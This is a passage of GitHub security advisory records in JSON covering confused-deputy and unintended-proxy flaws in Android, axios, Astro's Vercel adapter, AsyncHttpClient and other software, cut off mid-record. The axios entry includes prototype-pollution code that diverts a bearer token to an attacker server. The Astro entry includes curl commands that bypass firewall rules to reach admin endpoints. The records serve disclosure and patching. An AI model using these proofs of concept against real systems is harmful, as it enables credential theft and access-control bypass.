CWE-441

{
  "affected": [],
  "aliases": [
    "CVE-2025-48628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-08T17:16:19Z",
    "severity": "HIGH"
  },
  "details": "In validateIconUserBoundary of PrintManagerService.java, there is a possible cross-user image leak due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-jj67-w8gj-6whm",
  "modified": "2025-12-08T21:30:21Z",
  "published": "2025-12-08T18:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48628"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/9489a5dcd3cdd426d5b39d9caf6bb78142af2399"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-48598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-610"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-08T17:16:16Z",
    "severity": "MODERATE"
  },
  "details": "In multiple locations, there is a possible way to alter the primary user\u0027s face unlock settings due to a confused deputy. This could lead to physical escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-jjrp-2758-j9w4",
  "modified": "2025-12-08T21:30:21Z",
  "published": "2025-12-08T18:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48598"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/packages/apps/Settings/+/83447688f8e3e8f009f1e7d275a14ea00ee7953a"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.12"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.asynchttpclient:async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.16.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.asynchttpclient:async-http-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.16.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107282"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-319",
      "CWE-441",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T16:30:46Z",
    "nvd_published_at": "2026-10-07T22:17:04Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nWhen a request is replayed onto a different host, the client updates only the current request and leaves the target request pointing at the original host. Four consumers read that stale value, and each one sends the first host\u0027s request, credentials, or both to the second host.\n\nA replay happens through documented, ordinary features: a `ResponseFilter` that returns a different request, which is the supported failover pattern, and the IOException retry path. The attacker does not need to induce the replay; an application that uses failover produces it by design.\n\n* The socket to host B is filed in the connection pool under host A\u0027s key. A later request the application addresses to A is served over the connection to B, and A\u0027s `Authorization` header goes to B.\n* Over a CONNECT tunnel, the client tunnels to B and negotiates TLS with B correctly, then writes A\u0027s request into that tunnel. B receives A\u0027s path, A\u0027s `Host`, and A\u0027s `Authorization`. TLS does not protect against this, because the handshake really is with B, so no certificate mismatch occurs.\n* The replay reuses the original realm, so A\u0027s credentials are regenerated onto a replay request that carries no realm of its own. The cross-origin redirect path strips realms for exactly this reason; the replay path never did.\n* The stale value also decides whether TLS is used at all. When the original request was `http://` and the replay is `https://`, no SSL handler is installed and the replayed request, credentials included, is written in cleartext.\n\n### Affected versions\n* 3.x: up to and including 3.0.12\n* 2.x: up to and including 2.16.0\n\nBoth lines are affected identically. This is long-standing behaviour, not a recent regression.\n\n### Patches\nFixed in 3.0.13 on the 3.x line and in 2.16.1 on the 2.x line. The target request now moves when a request is replayed, and the proxy moves with it: the proxy is part of the connection pool key, so correcting only the host would convert a harmless pool miss into a hit and route a proxied connection to a direct request.\n\n### Workarounds\nDo not use a `ResponseFilter` that replays to a different host, and disable request retries, if the client is configured with credentials or used through a proxy. Replaying to the same host is not affected.\n\n### Details\n`NettyRequestSender.newNettyRequestAndResponseFuture` calls `setCurrentRequest` without `setTargetRequest`, and `replayRequest` does not move the target either. The stale target is then read by the pool key derivation in `NettyResponseFuture`, by `ConnectSuccessInterceptor` when it writes the tunnelled request, by the realm selection in `NettyRequestSender`, and by `NettyConnectListener` when it decides whether to install an SSL handler.\n\nExisting replay tests do not cover this, because all of them replay to the same host.",
  "id": "GHSA-jmqq-x5g9-9p2w",
  "modified": "2026-10-08T16:30:46Z",
  "published": "2026-10-08T16:30:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/security/advisories/GHSA-jmqq-x5g9-9p2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107282"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/commit/15b254514a411623e5f1d8c99ea79c0f82f8a466"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/commit/bbc31aed3b044f9f7a126cf689a8c8d7ad2ae1cb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AsyncHttpClient/async-http-client"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/releases/tag/async-http-client-project-2.16.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AsyncHttpClient/async-http-client/releases/tag/async-http-client-project-3.0.13"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "AsyncHttpClient: Replay to a different host sends the original host request and credentials to the new host"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-42933"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-23T23:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "Pronetiqs IntraVUE versions 3.2.1a14 and prior have an unintended proxy or intermediary vulnerability which could allow an attacker to use an active proxy, which would bypass OT segmentation.",
  "id": "GHSA-jp3p-8p4m-hxwj",
  "modified": "2026-07-24T00:32:34Z",
  "published": "2026-07-24T00:32:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42933"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-204-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-26452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-04T18:15:45Z",
    "severity": "HIGH"
  },
  "details": "In loadDrawableForCookie of ResourcesImpl.java, there is a possible way to access task snapshots of other apps due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-m7v8-2w49-4w9x",
  "modified": "2025-09-05T18:31:18Z",
  "published": "2025-09-05T18:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26452"
    },
    {
      "type": "WEB",
      "url": "https://android.googlesource.com/platform/frameworks/base/+/37a272435a238d8ca312b3ffeacac7dc348905e7"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2025-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.2"
            },
            {
              "fixed": "1.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-101905"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T15:32:51Z",
    "nvd_published_at": "2026-09-28T18:17:18Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAxios\u0027 Node HTTP adapter can act as a read-side prototype-pollution gadget for Node\u0027s sensitive `createConnection` request option. The adapter creates a null-prototype options object, but Node\u0027s HTTP client can copy or normalize request options into ordinary objects before connection creation. If `Object.prototype.createConnection` has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.\n\nAxios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.\n\n## Impact\n\nGiven a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.\n\nThis can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.\n\n## Affected Functionality\n\nAffected:\n\n- Node.js HTTP adapter.\n- HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe `createConnection`.\n- Processes where `Object.prototype.createConnection` is polluted.\n\nNot affected:\n\n- Browser adapters.\n- Processes without prototype pollution.\n- Requests using a custom trusted transport that ignores inherited `createConnection` and sanitizes options internally.\n\n## Technical Details\n\n`lib/adapters/http.js` creates:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method,\n  headers,\n  agents: { http: httpAgent, https: httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n});\n```\n\nThe object does not include an own `createConnection` property. Local verification on axios `1.18.1` polluted `Object.prototype.createConnection` to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker\u0027s response; the legitimate server received no request and the attacker server received `Bearer SECRET`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.createConnection = function (_options, cb) {\n  const socket = net.createConnection({ host: \u0027127.0.0.1\u0027, port: attackerPort }, () =\u003e {\n    if (typeof cb === \u0027function\u0027) cb(null, socket);\n  });\n  return socket;\n};\n\nawait axios.get(\u0027http://127.0.0.1:\u003clegit-port\u003e/secret\u0027, {\n  headers: { Authorization: \u0027Bearer SECRET\u0027 },\n  proxy: false\n});\n```\n\nExpected safe behavior is that the legitimate server receives the request. Current affected behavior lets the attacker server receive the request and return the response.\n\n## Workarounds\n\nRun axios in a process where prototype pollution is not present. For high-risk internal clients, use a custom trusted transport or agent layer that sets and enforces its own connection creation behavior instead of allowing inherited Node request options to participate.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n## Summary\n\nAxios\u0027 Node HTTP adapter remains exploitable as a read-side prototype-pollution gadget after the recent null-prototype hardening. This is not a claim that axios creates the prototype pollution source. The precondition is a separate upstream prototype pollution primitive in the same Node.js process.\n\nWhen `Object.prototype.createConnection` is polluted, axios requests can be redirected to an attacker-controlled socket even though the adapter builds the request options with `Object.create(null)`. The request URL and axios config still appear to target the legitimate host, but the actual socket is attacker-controlled.\n\nThis allows credential exfiltration and response manipulation for later axios HTTP requests in a polluted process.\n\n## Impact\n\nGiven an upstream prototype pollution primitive in the same process, an attacker can turn later axios HTTP requests into a man-in-the-middle primitive:\n\n- redirect the underlying socket for axios requests to attacker-controlled infrastructure\n- receive headers and request bodies intended for the legitimate target, including bearer tokens, cookies, API keys, and service credentials\n- return attacker-controlled responses to the caller\n- bypass application SSRF controls that validate the URL before calling axios, because the requested URL remains legitimate while the socket connects elsewhere\n\nThe important boundary here is axios\u0027 documented/read-side prototype-pollution hardening. The project threat model discusses polluted `Object.prototype` from transitive dependencies as an in-scope read-side gadget class where axios should avoid picking up inherited behavior-changing properties. This issue is a bypass of that hardening at the Node HTTP request-options boundary.\n\n## Technical details\n\nThe HTTP adapter constructs a null-prototype request options object before calling the selected transport:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method: method,\n  headers: toByteStringHeaderObject(headers),\n  agents: { http: config.httpAgent, https: config.httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n});\n```\n\nThat prevents direct inherited reads while the options object remains null-prototype. However, Node\u0027s HTTP client path copies or normalizes request options into ordinary objects before connection creation. After that copy, missing properties can resolve from `Object.prototype` again.\n\n`createConnection` is a sensitive Node HTTP option. If it is inherited after this copy, Node calls the attacker-supplied function to create the socket.\n\n## Reproduction\n\nThe following minimal proof uses a legitimate target server and an attacker server. It pollutes `Object.prototype.createConnection`, then makes an axios request to the legitimate server with an Authorization header.\n\n```js\nimport net from \u0027node:net\u0027;\nimport http from \u0027node:http\u0027;\nimport axios from \u0027axios\u0027;\n\nfunction listen(handler) {\n  return new Promise(resolve =\u003e {\n    const s = http.createServer(handler);\n    s.listen(0, \u0027127.0.0.1\u0027, () =\u003e resolve(s));\n  });\n}\n\nconst legitHits = [];\nconst attackerHits = [];\n\nconst legit = await listen((req, res) =\u003e {\n  legitHits.push({url: req.url, auth: req.headers.authorization || null});\n  res.end(\u0027LEGIT\u0027);\n});\n\nconst attacker = await listen((req, res) =\u003e {\n  attackerHits.push({url: req.url, auth: req.headers.authorization || null});\n  res.end(\u0027ATTACKER\u0027);\n});\n\nObject.prototype.createConnection = function(options, cb) {\n  const sock = net.createConnection({\n    host: \u0027127.0.0.1\u0027,\n    port: attacker.address().port,\n  }, () =\u003e {\n    if (typeof cb === \u0027function\u0027) cb(null, sock);\n  });\n  return sock;\n};\n\nconst res = await axios.get(`http://127.0.0.1:${legit.address().port}/secret`, {\n  headers: {Authorization: \u0027Bearer SECRET\u0027},\n  proxy: false,\n});\n\nconsole.log({\n  response: res.data,\n  legitHits,\n  attackerHits,\n});\n```\n\nObserved result on the current npm package:\n\n```json\n{\n  \"response\": \"ATTACKER\",\n  \"legitHits\": [],\n  \"attackerHits\": [\n    {\n      \"url\": \"/secret\",\n      \"auth\": \"Bearer SECRET\"\n    }\n  ]\n}\n```\n\nThe request never reached the intended target. The attacker-controlled server received the Authorization header and supplied the response body returned by axios.\n\n## Versions tested\n\nI reproduced this against:\n\n- axios 1.16.1 from npm\n- axios 1.17.0 from npm\n- current `v1.x` source at commit `a8e4f13aeecc45a3b8fab3ecfd9ddb5d70fb772b`\n\n## Fix validation\n\nAdding an own safe value for `createConnection` to the adapter options object prevents inherited pollution from being observed after Node\u0027s option copy:\n\n```js\nconst options = Object.assign(Object.create(null), {\n  path,\n  method: method,\n  headers: toByteStringHeaderObject(headers),\n  agents: { http: config.httpAgent, https: config.httpsAgent },\n  auth,\n  protocol,\n  family,\n  beforeRedirect: dispatchBeforeRedirect,\n  beforeRedirects: Object.create(null),\n  http2Options,\n  createConnection: undefined,\n});\n```\n\nWith that guard in place, the same proof no longer calls the polluted function. The legitimate server receives the request, the attacker server receives nothing, and axios returns the legitimate response.\n\n## Remediation\n\nSet own safe defaults for sensitive Node HTTP request options before calling `transport.request`, at minimum:\n\n```js\ncreateConnection: undefined\n```\n\nI recommend reviewing other sensitive Node HTTP options that may be read after Node copies the request options into a normal object, especially connection/TLS-affecting fields such as `lookup`, `timeout`, `localAddress`, `servername`, `signal`, and related options.\n\u003c/details\u003e\n\n---",
  "id": "GHSA-m8m8-qj5v-23w3",
  "modified": "2026-09-30T15:32:52Z",
  "published": "2026-09-30T15:32:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-m8m8-qj5v-23w3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101905"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/11141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-28600"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T19:17:52Z",
    "severity": "HIGH"
  },
  "details": "In onCreate of PaymentDefaultDialog.java, there is a possible way to change default payment app due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-m9pr-m49j-cr9m",
  "modified": "2026-09-10T18:31:32Z",
  "published": "2026-09-08T21:34:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28600"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-81303"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T06:16:58Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in hawtio-operator. The operator holds routes/custom-host:create permission cluster-wide and writes the tenant-supplied spec.routeHostName value from the Hawtio custom resource directly into the Route spec without validation or authorization checks. A namespace edit user, who normally cannot set custom Route hostnames, can use the operator as a confused deputy to claim arbitrary externally-routable hostnames, enabling subdomain takeover and, in combination with the auto-grant OAuthClient, OAuth redirect hijack.",
  "id": "GHSA-mc7v-mpqr-364j",
  "modified": "2026-09-15T06:30:31Z",
  "published": "2026-09-15T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81303"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-81303"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2524897"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@astrojs/vercel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33768"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:41:34Z",
    "nvd_published_at": "2026-03-24T19:16:55Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `@astrojs/vercel` serverless entrypoint reads the `x-astro-path` header and `x_astro_path` query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel\u0027s platform-level path restrictions entirely.\n\nThe override preserves the original HTTP method and body, so this isn\u0027t limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking `/admin/*` does nothing when the request comes in as `POST /api/health?x_astro_path=/admin/delete-user`.\n\n## Affected Versions\n\nVerified against:\n- **Astro 5.18.1 + @astrojs/vercel 9.0.4** \u2014 GET and POST override both work. Full exploitation.\n- **Astro 6.0.3 + @astrojs/vercel 10.0.0** \u2014 GET override works. POST/DELETE hit a `duplex` bug in the Request constructor (the `duplex: \u0027half\u0027` option is required when passing a ReadableStream body \u2014 this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix \u2014 the code explicitly passes `body: request.body` and intends to preserve it. Once the missing `duplex` option is added, all methods will be exploitable on v6 as well.\n\nThe vulnerable code path is identical across both versions.\n\n## Affected Component\n\n- **Package**: `@astrojs/vercel`\n- **File**: `packages/integrations/vercel/src/serverless/entrypoint.ts` (lines 19\u201328)\n- **Constants**: `packages/integrations/vercel/src/index.ts` (lines 44\u201345)\n\n## Vulnerable Code\n\nThe handler blindly trusts the caller-supplied path:\n\n```typescript\nconst realPath =\n    request.headers.get(ASTRO_PATH_HEADER) ??\n    url.searchParams.get(ASTRO_PATH_PARAM);\nif (typeof realPath === \u0027string\u0027) {\n    url.pathname = realPath;  // no validation, no auth\n    request = new Request(url.toString(), {\n        method: request.method,   // preserved\n        headers: request.headers, // preserved\n        body: request.body,       // preserved\n    });\n}\n```\n\nWhat makes this worse is the inconsistency. `x-astro-locals` right below it is gated behind `middlewareSecret`, but `x-astro-path` gets nothing:\n\n```typescript\n// x-astro-locals: protected\nif (astroLocalsHeader) {\n    if (middlewareSecretHeader !== middlewareSecret) {\n        return new Response(\u0027Forbidden\u0027, { status: 403 });\n    }\n    locals = JSON.parse(astroLocalsHeader);\n}\n// x-astro-path: no equivalent check (lines 19-28 above)\n```\n\n## Conditions\n\n1. Astro + `@astrojs/vercel` adapter\n2. `output: \u0027server\u0027` (SSR)\n3. No `src/middleware.ts` defined, or middleware not using Edge mode\n\nThis is a realistic production configuration. Middleware is optional and many deployments skip it.\n\nThe `x-astro-path` mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (`_render`) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.\n\n## Proof of Concept\n\nSetup: minimal Astro SSR project on Vercel, no middleware. Routes: `/public` (page), `/api/health` (API endpoint), `/admin/secret` (page), `/admin/delete-user` (API endpoint). Vercel Firewall blocks `/admin/*`.\n\n**GET \u2014 page content override:**\n```bash\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**GET \u2014 API route override:**\n```bash\ncurl \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"pageId\":\"admin-delete-user\",\"message\":\"This is a protected admin API endpoint\",\"method\":\"GET\"}\n```\n\n**Header override:**\n```bash\ncurl -H \"x-astro-path: /admin/secret\" https://target.vercel.app/public\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (GET):**\n```bash\n# Direct access \u2014 blocked\ncurl https://target.vercel.app/admin/secret\n# Returns: Forbidden\n\n# Via override \u2014 Firewall sees /public, serves /admin/secret\ncurl \"https://target.vercel.app/public?x_astro_path=/admin/secret\"\n# Returns: PAGE_ID: admin-secret\n```\n\n**Vercel Firewall bypass (POST) \u2014 verified on Astro 5.x:**\n```bash\n# Direct access \u2014 blocked\ncurl -X POST -H \"Content-Type: application/json\" -d \u0027{\"userId\":\"123\"}\u0027 \\\n  https://target.vercel.app/admin/delete-user\n# Returns: Forbidden\n\n# Via override \u2014 Firewall sees /api/health, executes POST /admin/delete-user\ncurl -X POST -H \"Content-Type: application/json\" -d \u0027{\"userId\":\"123\"}\u0027 \\\n  \"https://target.vercel.app/api/health?x_astro_path=/admin/delete-user\"\n# Returns: {\"action\":\"delete-user\",\"status\":\"deleted\",\"method\":\"POST\"}\n```\n\nThe Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.\n\nISR is not affected. Vercel\u0027s cache layer appears to intercept before the function runs.\n\n## Impact\n\n**Firewall/WAF bypass \u2014 read (Critical):** Any path-based restriction in Vercel Dashboard or `vercel.json` (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.\n\n**Firewall/WAF bypass \u2014 write (Critical):** POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated `duplex` bug in the Request constructor, not by any security check.\n\n**Audit log mismatch (Medium):** Vercel logs record the original request path and query string (e.g. `/public?x_astro_path=/admin/secret`), so the override parameter is technically visible. However, the logged path (`/public`) does not reflect the path actually served (`/admin/secret`). Detecting this attack from logs requires knowing what `x_astro_path` means \u2014 standard monitoring and alerting based on request paths will not catch it.\n\n## Prior Art\n\nCVE-2025-29927 (Next.js): `x-middleware-subrequest` header injectable by external clients, bypassing middleware. Same class of vulnerability.",
  "id": "GHSA-mr6q-rp88-fx84",
  "modified": "2026-03-26T18:41:34Z",
  "published": "2026-03-26T18:41:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-mr6q-rp88-fx84"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33768"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/pull/15959"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/335a204161f5a7293c128db570901d4f8639c6ed"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-f82v-jwr5-mffw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/releases/tag/@astrojs/vercel@10.0.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-cxf-soap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.14.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-cxf-soap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.15.0"
            },
            {
              "fixed": "4.18.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-cxf-soap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.19.0"
            },
            {
              "fixed": "4.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-cxf-rest"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.14.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-cxf-rest"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.15.0"
            },
            {
              "fixed": "4.18.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.camel:camel-cxf-rest"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.19.0"
            },
            {
              "fixed": "4.21.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-441"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T19:32:19Z",
    "nvd_published_at": "2026-07-06T09:16:37Z",
    "severity": "HIGH"
  },
